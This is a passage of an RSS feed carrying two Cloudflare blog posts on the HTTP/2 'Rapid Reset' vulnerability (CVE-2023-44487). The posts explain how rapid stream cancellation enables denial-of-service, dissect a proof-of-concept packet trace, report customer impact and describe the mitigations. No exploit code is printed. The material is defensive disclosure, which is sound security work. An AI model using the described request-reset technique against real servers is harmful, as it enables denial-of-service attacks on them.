      <h3>HTTP/2 request cancellation</h3>
      <a href="#http-2-request-cancellation">
        
      </a>
    </div>
    <p>Earlier, we talked about client cancellation of in-flight requests. HTTP/2 supports this in a much more efficient way than HTTP/1.1. Rather than needing to tear down the whole connection, a client can send a RST_STREAM frame for a single stream. This instructs the server to stop processing the request and to abort the response, which frees up server resources and avoids wasting bandwidth.</p><p>Let's consider our previous example of 3 requests. This time the client cancels the request on stream 1 after all of the HEADERS have been sent. The server parses this RST_STREAM frame before it is ready to serve the response and instead only responds to stream 3 and 5:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7dnYO0saZeIgGlocFRxKLb/45b3c1197559ee9f5547efad0a88b00a/Screenshot-2023-10-09-at-2.12.04-PM.png" />
            
            </figure><p>Request cancellation is a useful feature. For example, when scrolling a webpage with multiple images, a web browser can cancel images that fall outside the viewport, meaning that images entering it can load faster. HTTP/2 makes this behaviour a lot more efficient compared to HTTP/1.1.</p><p>A request stream that is canceled, rapidly transitions through the stream lifecycle. The client's HEADERS with END_STREAM flag set to 1 transitions the state from <b>idle</b> to <b>open</b> to <b>half-closed</b>, then RST_STREAM immediately causes a transition from <b>half-closed</b> to <b>closed.</b></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4XHuuWwKaQkVyDclt2ktaT/983c5d5531c2987a90382548e8618f50/Request-stream-states-reset.png" />
            
            </figure><p>Recall that only streams that are in the open or half-closed state contribute to the stream concurrency limit. When a client cancels a stream, it instantly gets the ability to open another stream in its place and can send another request immediately. This is the crux of what makes <a href="https://www.cve.org/CVERecord?id=CVE-2023-44487">CVE-2023-44487</a> work.</p>
    <div>
      <h3>Rapid resets leading to denial of service</h3>
      <a href="#rapid-resets-leading-to-denial-of-service">
        
      </a>
    </div>
    <p>HTTP/2 request cancellation can be abused to rapidly reset an unbounded number of streams. When an HTTP/2 server is able to process client-sent RST_STREAM frames and tear down state quickly enough, such rapid resets do not cause a problem. Where issues start to crop up is when there is any kind of delay or lag in tidying up. The client can churn through so many requests that a backlog of work accumulates, resulting in excess consumption of resources on the server.</p><p>A common HTTP deployment architecture is to run an HTTP/2 proxy or load-balancer in front of other components. When a client request arrives it is quickly dispatched and the actual work is done as an asynchronous activity somewhere else. This allows the proxy to handle client traffic very efficiently. However, this separation of concerns can make it hard for the proxy to tidy up the in-process jobs. Therefore, these deployments are more likely to encounter issues from rapid resets.</p><p>When Cloudflare's <a href="https://www.rfc-editor.org/rfc/rfc9110#section-3.7-6">reverse proxies</a> process incoming HTTP/2 client traffic, they copy the data from the connection’s socket into a buffer and process that buffered data in order. As each request is read (HEADERS and DATA frames) it is dispatched to an upstream service. When RST_STREAM frames are read, the local state for the request is torn down and the upstream is notified that the request has been canceled. Rinse and repeat until the entire buffer is consumed. However, this logic can be abused: when a malicious client started sending an enormous chain of requests and resets at the start of a connection, our servers would eagerly read them all and create stress on the upstream servers to the point of being unable to process any new incoming request.</p><p>Something that is important to highlight is that stream concurrency on its own cannot mitigate rapid reset. The client can churn requests to create high request rates no matter the server's chosen value of <a href="https://www.rfc-editor.org/rfc/rfc9113#SETTINGS_MAX_CONCURRENT_STREAMS">SETTINGS_MAX_CONCURRENT_STREAMS</a>.</p>
    <div>
      <h3>Rapid Reset dissected</h3>
      <a href="#rapid-reset-dissected">
        
      </a>
    </div>
    Here's an example of rapid reset reproduced using a proof-of-concept client attempting to make a total of 1000 requests. I've used an off-the-shelf server without any mitigations; listening on port 443 in a test environment. The traffic is dissected using Wireshark and filtered to show only HTTP/2 traffic for clarity. <a href="http://staging.blog.mrk.cfdata.org/content/images/rapidreset.pcapng">Download the pcap</a> to follow along.
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3wv6U0bsO7wQ2Ofw0qp5f9/9d974117608d62c9eef6e276890f336b/Untitled--2-.png" />
            
            </figure><p>It's a bit difficult to see, because there are a lot of frames. We can get a quick summary via Wireshark's Statistics &gt; HTTP2 tool:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1STsop3XklVVe7phIL1mg0/69bb1269474936146e529c969aaecd18/Screenshot-2023-10-09-at-10.50.42-PM.png" />
            
            </figure><p>The first frame in this trace, in packet 14, is the server's SETTINGS frame, which advertises a maximum stream concurrency of 100. In packet 15, the client sends a few control frames and then starts making requests that are rapidly reset. The first HEADERS frame is 26 bytes long, all subsequent HEADERS are only 9 bytes. This size difference is due to a compression technology called <a href="/hpack-the-silent-killer-feature-of-http-2/">HPACK</a>. In total, packet 15 contains 525 requests, going up to stream 1051.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/JkezErQ90qEV2L0JuKNuK/c75695ef3a2b192eb1cb7a93a546cb7f/Untitled--3-.png" />
            
            </figure><p>Interestingly, the RST_STREAM for stream 1051 doesn't fit in packet 15, so in packet 16 we see the server respond with a 404 response.  Then in packet 17 the client does send the RST_STREAM, before moving on to sending the remaining 475 requests.</p><p>Note that although the server advertised 100 concurrent streams, both packets sent by the client sent a lot more HEADERS frames than that. The client did not have to wait for any return traffic from the server, it was only limited by the size of the packets it could send. No server RST_STREAM frames are seen in this trace, indicating that the server did not observe a concurrent stream violation.</p>
    <div>
      <h2>Impact on customers</h2>
      <a href="#impact-on-customers">
        
      </a>
    </div>
    <p>As mentioned above, as requests are canceled, upstream services are notified and can abort requests before wasting too many resources on it. This was the case with this attack, where most malicious requests were never forwarded to the origin servers. However, the sheer size of these attacks did cause some impact.</p><p>First, as the rate of incoming requests reached peaks never seen before, we had reports of increased levels of 502 errors seen by clients. This happened on our most impacted data centers as they were struggling to process all the requests. While our network is meant to deal with large attacks, this particular vulnerability exposed a weakness in our infrastructure. Let's dig a little deeper into the details, focusing on how incoming requests are handled when they hit one of our data centers:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2FNw47et7A6A8yQ8FTJWeB/4a244ae8faed2fca1afc45de7ccb2600/Untitled-2023-10-04-1953.png" />
            
            </figure><p>We can see that our infrastructure is composed of a chain of different proxy servers with different responsibilities. In particular, when a client connects to Cloudflare to send HTTPS traffic, it first hits our TLS decryption proxy: it decrypts TLS traffic, processes HTTP 1, 2 or 3 traffic, then forwards it to our "business logic" proxy. This one is responsible for loading all the settings for each customer, then routing the requests correctly to other upstream services — and more importantly in our case, <b>it is also responsible for security features</b>. This is where L7 attack mitigation is processed.</p><p>The problem with this attack vector is that it manages to send a lot of requests very quickly in every single connection. Each of them had to be forwarded to the business logic proxy before we had a chance to block it. As the request throughput became higher than our proxy capacity, the pipe connecting these two services reached its saturation level in some of our servers.</p><p>When this happens, the TLS proxy cannot connect anymore to its upstream proxy, this is why some clients saw a bare "502 Bad Gateway" error during the most serious attacks. It is important to note that, as of today, the logs used to create HTTP analytics are also emitted by our business logic proxy. The consequence of that is that these errors are not visible in the Cloudflare dashboard. Our internal dashboards show that about 1% of requests were impacted during the initial wave of attacks (before we implemented mitigations), with peaks at around 12% for a few seconds during the most serious one on August 29th. The following graph shows the ratio of these errors over a two hours while this was happening:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/lNZyUoAWzVfyQ66xIPJ9i/d9907d299155b8b6e80c9de3f4a4f032/imageLikeEmbed.png" />
            
            </figure><p>We worked to reduce this number dramatically in the following days, as detailed later on in this post. Both thanks to changes in our stack and to our mitigation that reduce the size of these attacks considerably, this number today is effectively zero.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6PDIKg6O07UYWjQk30YkIH/e542a06392b680737ec2256c0919a33e/imageLikeEmbed--2-.png" />
            
            </figure>
    <div>
      <h3>499 errors and the challenges for HTTP/2 stream concurrency</h3>
      <a href="#499-errors-and-the-challenges-for-http-2-stream-concurrency">
        
      </a>
    </div>
    <p>Another symptom reported by some customers is an increase in 499 errors. The reason for this is a bit different and is related to the maximum stream concurrency in a HTTP/2 connection detailed earlier in this post.</p><p>HTTP/2 settings are exchanged at the start of a connection using SETTINGS frames. In the absence of receiving an explicit parameter, default values apply. Once a client establishes an HTTP/2 connection, it can wait for a server's SETTINGS (slow) or it can assume the default values and start making requests (fast). For SETTINGS_MAX_CONCURRENT_STREAMS, the default is effectively unlimited (stream IDs use a 31-bit number space, and requests use odd numbers, so the actual limit is 1073741824). The specification recommends that a server offer no fewer than 100 streams. Clients are generally biased towards speed, so don't tend to wait for server settings, which creates a bit of a race condition. Clients are taking a gamble on what limit the server might pick; if they pick wrong the request will be rejected and will have to be retried. Gambling on 1073741824 streams is a bit silly. Instead, a lot of clients decide to limit themselves to issuing 100 concurrent streams, with the hope that servers followed the specification recommendation. Where servers pick something below 100, this client gamble fails and streams are reset.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3ZdAxnNVz1PsuG1BCE3wsT/d4b02d4d1b8f6cf8ecebdddbed194c74/Untitled-2023-10-04-1953--1-.png" />
            
            </figure><p>There are many reasons a server might reset a stream beyond concurrency limit overstepping. HTTP/2 is strict and requires a stream to be closed when there are parsing or logic errors. In 2019, Cloudflare developed several mitigations in response to <a href="/on-the-recent-http-2-dos-attacks/">HTTP/2 DoS vulnerabilities</a>. Several of those vulnerabilities were caused by a client misbehaving, leading the server to reset a stream. A very effective strategy to clamp down on such clients is to count the number of server resets during a connection, and when that exceeds some threshold value, close the connection with a <a href="https://www.rfc-editor.org/rfc/rfc9113#section-6.8">GOAWAY</a> frame. Legitimate clients might make one or two mistakes in a connection and that is acceptable. A client that makes too many mistakes is probably either broken or malicious and closing the connection addresses both cases.</p><p>While responding to DoS attacks enabled by <a href="https://www.cve.org/CVERecord?id=CVE-2023-44487">CVE-2023-44487</a>, Cloudflare reduced maximum stream concurrency to 64. Before making this change, we were unaware that clients don't wait for SETTINGS and instead assume a concurrency of 100. Some web pages, such as an image gallery, do indeed cause a browser to send 100 requests immediately at the start of a connection. Unfortunately, the 36 streams above our limit all needed to be reset, which triggered our counting mitigations. This meant that we closed connections on legitimate clients, leading to a complete page load failure. As soon as we realized this interoperability issue, we changed the maximum stream concurrency to 100.</p>
    <div>
      <h2>Actions from the Cloudflare side</h2>
      <a href="#actions-from-the-cloudflare-side">
        
      </a>
    </div>
    <p>In 2019 several <a href="/on-the-recent-http-2-dos-attacks/">DoS vulnerabilities</a> were uncovered related to implementations of HTTP/2. Cloudflare developed and deployed a series of detections and mitigations in response.  <a href="https://www.cve.org/CVERecord?id=CVE-2023-44487">CVE-2023-44487</a> is a different manifestation of HTTP/2 vulnerability. However, to mitigate it we were able to extend the existing protections to monitor client-sent RST_STREAM frames and close connections when they are being used for abuse. Legitimate client uses for RST_STREAM are unaffected.</p><p>In addition to a direct fix, we have implemented several improvements to the server's HTTP/2 frame processing and request dispatch code. Furthermore, the business logic server has received improvements to queuing and scheduling that reduce unnecessary work and improve cancellation responsiveness. Together these lessen the impact of various potential abuse patterns as well as giving more room to the server to process requests before saturating.</p>
    <div>
      <h3>Mitigate attacks earlier</h3>
      <a href="#mitigate-attacks-earlier">
        
      </a>
    </div>
    <p>Cloudflare already had systems in place to efficiently mitigate very large attacks with less expensive methods. One of them is named "IP Jail". For hyper volumetric attacks, this system collects the client IPs participating in the attack and stops them from connecting to the attacked property, either at the IP level, or in our TLS proxy. This system however needs a few seconds to be fully effective; during these precious seconds, the origins are already protected but our infrastructure still needs to absorb all HTTP requests. As this new botnet has effectively no ramp-up period, we need to be able to neutralize attacks before they can become a problem.</p><p>To achieve this we expanded the IP Jail system to protect our entire infrastructure: once an IP is "jailed", not only it is blocked from connecting to the attacked property, we also forbid the corresponding IPs from using HTTP/2 to any other domain on Cloudflare for some time. As such protocol abuses are not possible using HTTP/1.x, this limits the attacker's ability to run large attacks, while any legitimate client sharing the same IP would only see a very small performance decrease during that time. IP based mitigations are a very blunt tool — this is why we have to be extremely careful when using them at that scale and seek to avoid false positives as much as possible. Moreover, the lifespan of a given IP in a botnet is usually short so any long term mitigation is likely to do more harm than good. The following graph shows the churn of IPs in the attacks we witnessed:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3tsViCTkDispBbBmIY57vy/3c49903f3c4a1ac60f98efae6c1e3fb4/ip-churn.png" />
            
            </figure><p>As we can see, many new IPs spotted on a given day disappear very quickly afterwards.</p><p>As all these actions happen in our TLS proxy at the beginning of our HTTPS pipeline, this saves considerable resources compared to our regular L7 mitigation system. This allowed us to weather these attacks much more smoothly and now the number of random 502 errors caused by these botnets is down to zero.</p>
    <div>
      <h3>Observability improvements</h3>
      <a href="#observability-improvements">
        
      </a>
    </div>
    <p>Another front on which we are making change is <a href="https://www.cloudflare.com/learning/performance/what-is-observability/">observability</a>. Returning errors to clients without being visible in customer analytics is unsatisfactory. Fortunately, a project has been underway to overhaul these systems since long before the recent attacks. It will eventually allow each service within our infrastructure to log its own data, instead of relying on our business logic proxy to consolidate and emit log data. This incident underscored the importance of this work, and we are redoubling our efforts.</p><p>We are also working on better connection-level logging, allowing us to spot such protocol abuses much more quickly to improve our DDoS mitigation capabilities.</p>
    <div>
      <h2>Conclusion</h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>While this was the latest record-breaking attack, we know it won’t be the last. As attacks continue to become more sophisticated, Cloudflare works relentlessly to proactively identify new threats — deploying countermeasures to our global network so that our millions of customers are immediately and automatically protected.</p><p>Cloudflare has provided free, unmetered and unlimited DDoS protection to all of our customers since 2017. In addition, we offer a range of additional security features to suit the needs of organizations of all sizes. <a href="https://www.cloudflare.com/h2">Contact us</a> if you’re unsure whether you’re protected or want to understand how you can be.</p> ]]></content:encoded>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Trends]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">3WjbDYiA84ghLhFzgsMfYp</guid>
            <dc:creator>Lucas Pardue</dc:creator>
            <dc:creator>Julien Desgats</dc:creator>
        </item>
        <item>
            <title><![CDATA[HTTP/2 Zero-Day vulnerability results in record-breaking DDoS attacks]]></title>
            <link>https://blog.cloudflare.com/zero-day-rapid-reset-http2-record-breaking-ddos-attack/</link>
            <pubDate>Tue, 10 Oct 2023 12:02:09 GMT</pubDate>
            <description><![CDATA[ The “HTTP/2 Rapid Reset” attack exploits a weakness in the HTTP/2 protocol to generate enormous, hyper-volumetric DDoS attacks. Cloudflare has mitigated a barrage of these attacks in recent months, including an attack three times larger than any previous attack we’ve observed ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5ZiKpisozgw41RMD8tyuhu/006388958a618bffa6609ad532da5b91/Screenshot-2023-10-09-at-10.41.56-PM.png" />
            
            </figure><p>Earlier today, Cloudflare, along with Google and Amazon AWS, disclosed the existence of a novel zero-day vulnerability dubbed the “HTTP/2 Rapid Reset” attack. This attack exploits a weakness in the HTTP/2 protocol to generate enormous, hyper-volumetric Distributed Denial of Service (DDoS) attacks. Cloudflare has mitigated a barrage of these attacks in recent months, including an attack three times larger than <a href="/cloudflare-mitigates-record-breaking-71-million-request-per-second-ddos-attack/">any previous attack we’ve observed</a>, which exceeded 201 million requests per second (rps). Since the end of August 2023, Cloudflare has mitigated more than 1,100 other attacks with over 10 million rps — and 184 attacks that were greater than our previous DDoS record of 71 million rps.</p><em><small>Under attack or need additional protection? <a href="https://www.cloudflare.com/h2/">Click here to get help</a>.</small></em><br /><p>This zero-day provided threat actors with a critical new tool in their Swiss Army knife of vulnerabilities to exploit and attack their victims at a magnitude that has never been seen before. While at times complex and challenging to combat, these attacks allowed Cloudflare the opportunity to develop purpose-built technology to mitigate the effects of the zero-day vulnerability.</p><p>If you are using Cloudflare for HTTP DDoS mitigation, you are protected. And below, we’ve included more information on this vulnerability, and resources and recommendations on what you can do to secure yourselves.</p>
    <div>
      <h3>Deconstructing the attack: What every CSO needs to know</h3>
      <a href="#deconstructing-the-attack-what-every-cso-needs-to-know">
        
      </a>
    </div>
    <p>In late August 2023, our team at Cloudflare noticed a new zero-day vulnerability, developed by an unknown threat actor, that exploits the standard HTTP/2 protocol — a fundamental protocol that is critical to how the Internet and all websites work. This novel zero-day vulnerability attack, dubbed Rapid Reset, leverages HTTP/2’s stream cancellation feature by sending a request and immediately canceling it over and over.  </p><p>By automating this trivial “request, cancel, request, cancel” pattern at scale, threat actors are able to create a denial of service and take down any server or application running the standard implementation of HTTP/2. Furthermore, one crucial thing to note about the record-breaking attack is that it involved a modestly-sized botnet, consisting of roughly 20,000 machines. Cloudflare regularly detects botnets that are orders of magnitude larger than this — comprising hundreds of thousands and even millions of machines. For a relatively small botnet to output such a large volume of requests, with the potential to incapacitate nearly any server or application supporting HTTP/2, underscores how menacing this vulnerability is for unprotected networks.</p><p>Threat actors used botnets in tandem with the HTTP/2 vulnerability to amplify requests at rates we have never seen before. As a result, our team at Cloudflare experienced some intermittent edge instability. While our systems were able to mitigate the overwhelming majority of incoming attacks, the volume overloaded some components in our network, impacting a small number of customers’ performance with intermittent 4xx and 5xx errors — all of which were quickly resolved.</p><p>Once we successfully mitigated these issues and halted potential attacks for all customers, our team immediately kicked off a responsible disclosure process. We entered into conversations with industry peers to see how we could work together to help move our mission forward and safeguard the large percentage of the Internet that relies on our network prior to releasing this vulnerability to the general public.</p><p>We cover the technical details of the attack in more detail in a separate blog post: <a href="https://cfl.re/rapid-reset-breakdown">HTTP/2 Rapid Reset: deconstructing the record-breaking attack</a>.</p>
    <div>
      <h3>How is Cloudflare and the industry thwarting this attack?</h3>
      <a href="#how-is-cloudflare-and-the-industry-thwarting-this-attack">
        
      </a>
    </div>
    <p>There is no such thing as a “perfect disclosure.” Thwarting attacks and responding to emerging incidents requires organizations and security teams to live by an assume-breach mindset — because there will always be another zero-day, new evolving threat actor groups, and never-before-seen novel attacks and techniques.</p><p>This “assume-breach” mindset is a key foundation towards information sharing and ensuring in instances such as this that the Internet remains safe. While Cloudflare was experiencing and mitigating these attacks, we were also working with industry partners to guarantee that the industry at-large could withstand this attack.  </p><p>During the process of mitigating this attack, our Cloudflare team developed and purpose-built new technology to stop these DDoS attacks and further improve our own mitigations for this and other future attacks of massive scale. These efforts have significantly increased our overall mitigation capabilities and resiliency. If you are using Cloudflare, we are confident that you are protected.</p><p>Our team also alerted web server software partners who are developing patches to ensure this vulnerability cannot be exploited — check their websites for more information.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Ud1AqrVrYtnC11Bu0pwCh/eac88347347a8dc9420d6d13285f1d28/Zero-Day-protection-4.png" />
            
            </figure><p>Disclosures are never one and done. The lifeblood of Cloudflare is to ensure a better Internet, which stems from instances such as these. When we have the opportunity to work with our industry partners and governments to ensure there are no widespread impacts on the Internet, we are doing our part in increasing the cyber resiliency of every organization no matter the size or vertical.</p><p>To gain more of an understanding around mitigation tactics and next steps on patching, <a href="https://event.on24.com/wcc/r/4378646/EC4EB4A6CE2B363BC6378891E495BEBF">register for our webinar</a>.</p>
    <div>
      <h3>What are the origins of the HTTP/2 Rapid Reset and these record-breaking attacks on Cloudflare?</h3>
      <a href="#what-are-the-origins-of-the-http-2-rapid-reset-and-these-record-breaking-attacks-on-cloudflare">
        
      </a>
    </div>
    <p>It may seem odd that Cloudflare was one of the first companies to witness these attacks. Why would threat actors attack a company that has some of the most robust defenses against DDoS attacks in the world?  </p><p>The reality is that Cloudflare often sees attacks before they are turned on more vulnerable targets. Threat actors need to develop and test their tools before they deploy them in the wild. Threat actors who possess record-shattering attack methods can have an extremely difficult time testing and understanding how large and effective they are, because they don't have the infrastructure to absorb the attacks they are launching. Because of the transparency that we share on our network performance, and the measurements of attacks they could glean from our public performance charts, this threat actor was likely targeting us to understand the capabilities of the exploit.</p><p>But that testing, and the ability to see the attack early, helps us develop mitigations for the attack that benefit both our customers and industry as a whole.</p>
    <div>
      <h3>From CSO to CSO: What should you do?</h3>
      <a href="#from-cso-to-cso-what-should-you-do">
        
      </a>
    </div>
    <p>I have been a CSO for over 20 years, on the receiving end of countless disclosures and  announcements like this. But whether it was <a href="/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/">Log4J</a>, <a href="/solarwinds-orion-compromise-trend-data/">Solarwinds</a>, <a href="https://www.cloudflare.com/learning/security/ransomware/how-to-prevent-ransomware/">EternalBlue</a> <a href="https://www.cloudflare.com/learning/security/ransomware/petya-notpetya-ransomware/">WannaCry/NotPetya</a>, <a href="/heartbleed-revisited/">Heartbleed</a>, or <a href="/inside-shellshock/">Shellshock</a>, all of these security incidents have a commonality. A tremendous explosion that ripples across the world and creates an opportunity to completely disrupt any of the organizations that I have led — regardless of the industry or the size.</p><p>Many of these were attacks or vulnerabilities that we may have not been able to control. But regardless of whether the issue arose from something that was in my control or not, what has set any successful initiative I have led apart from those that did not lean in our favor was the ability to respond when zero-day vulnerabilities and exploits like this are identified.    </p><p>While I wish I could say that Rapid Reset may be different this time around, it is not. I am calling all CSOs — no matter if you’ve lived through the decades of security incidents that I have, or this is your first day on the job — this is the time to <a href="https://www.cloudflare.com/products/zero-trust/threat-defense/">ensure you are protected</a> and stand up your cyber incident response team.</p><p>We’ve kept the information restricted until today to give as many security vendors as possible the opportunity to react. However, at some point, the responsible thing becomes to publicly disclose zero-day threats like this. Today is that day. That means that after today, threat actors will be largely aware of the HTTP/2 vulnerability; and it will inevitably become trivial to exploit and kickoff the race between defenders and attacks — first to patch vs. first to exploit. Organizations should assume that systems will be tested, and take proactive measures to ensure protection.</p><p>To me, this is reminiscent of a vulnerability like Log4J, due to the many variants that are emerging daily, and will continue to come to fruition in the weeks, months, and years to come. As more researchers and threat actors experiment with the vulnerability, we may find different variants with even shorter exploit cycles that contain even more advanced bypasses.  </p><p>And just like Log4J, managing incidents like this isn’t as simple as “run the patch, now you’re done”. You need to turn incident management, patching, and evolving your security protections into ongoing processes — because the patches for each variant of a vulnerability reduce your risk, but they don’t eliminate it.</p><p>I don’t mean to be alarmist, but I will be direct: you must take this seriously. Treat this as a full active incident to ensure nothing happens to your organization.</p>
    <div>
      <h3>Recommendations for a New Standard of Change</h3>
      <a href="#recommendations-for-a-new-standard-of-change">
        
      </a>
    </div>
    <p>While no one security event is ever identical to the next, there are lessons that can be learned. CSOs, here are my recommendations that must be implemented immediately. Not only in this instance, but for years to come:</p><ul><li><p>Understand your external and partner network’s external connectivity to remediate any Internet facing systems with the mitigations below.</p></li><li><p>Understand your existing security protection and capabilities you have to protect, detect and respond to an attack and immediately remediate any issues you have in your network.</p></li><li><p>Ensure your DDoS Protection resides outside of your data center because if the traffic gets to your datacenter, it will be difficult to mitigate the DDoS attack.</p></li><li><p>Ensure you have DDoS protection for Applications (Layer 7) and ensure you have Web Application Firewalls. Additionally as a best practice, ensure you have complete DDoS protection for DNS, Network Traffic (Layer 3) and API Firewalls</p></li><li><p>Ensure web server and operating system patches are deployed across all Internet Facing Web Servers. Also, ensure all automation like Terraform builds and images are fully patched so older versions of web servers are not deployed into production over the secure images by accident.</p></li><li><p>As a last resort, consider turning off HTTP/2 and HTTP/3 (likely also vulnerable) to mitigate the threat.  This is a last resort only, because there will be a significant performance issues if you downgrade to HTTP/1.1</p></li><li><p>Consider a secondary, cloud-based DDoS L7 provider at perimeter for resilience.</p></li></ul><p>Cloudflare’s mission is to help build a better Internet. If you are concerned with your current state of DDoS protection, we are more than happy to provide you with our DDoS capabilities and resilience for free to mitigate any attempts of a successful DDoS attack.  We know the stress that you are facing as we have fought off these attacks for the last 30 days and made our already best in class systems, even better.</p><p>If you’re interested in finding out more, <a href="https://event.on24.com/wcc/r/4378646/EC4EB4A6CE2B363BC6378891E495BEBF">view our webinar</a> on the details of the zero-day and how to respond. <a href="https://www.cloudflare.com/h2/">Contact us</a> if you’re unsure whether you’re protected or want to understand how you can be. We also have more technical details of the attack in more detail in a separate blog post: <a href="https://cfl.re/rapid-reset-breakdown">HTTP/2 Rapid Reset: deconstructing the record-breaking attack</a>. Finally, if you’re being targeted or need immediate protection, please contact your local Cloudflare representative or visit the <a href="https://www.cloudflare.com/under-attack-hotline/">Cloudflare under attack page</a>.</p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[DDoS]]></category>
            <guid isPermaLink="false">7fD3yG9bGZ8HGwcaFR5mP4</guid>
            <dc:creator>Grant Bourzikas</dc:creator>
        </item>
    </channel>
</rss>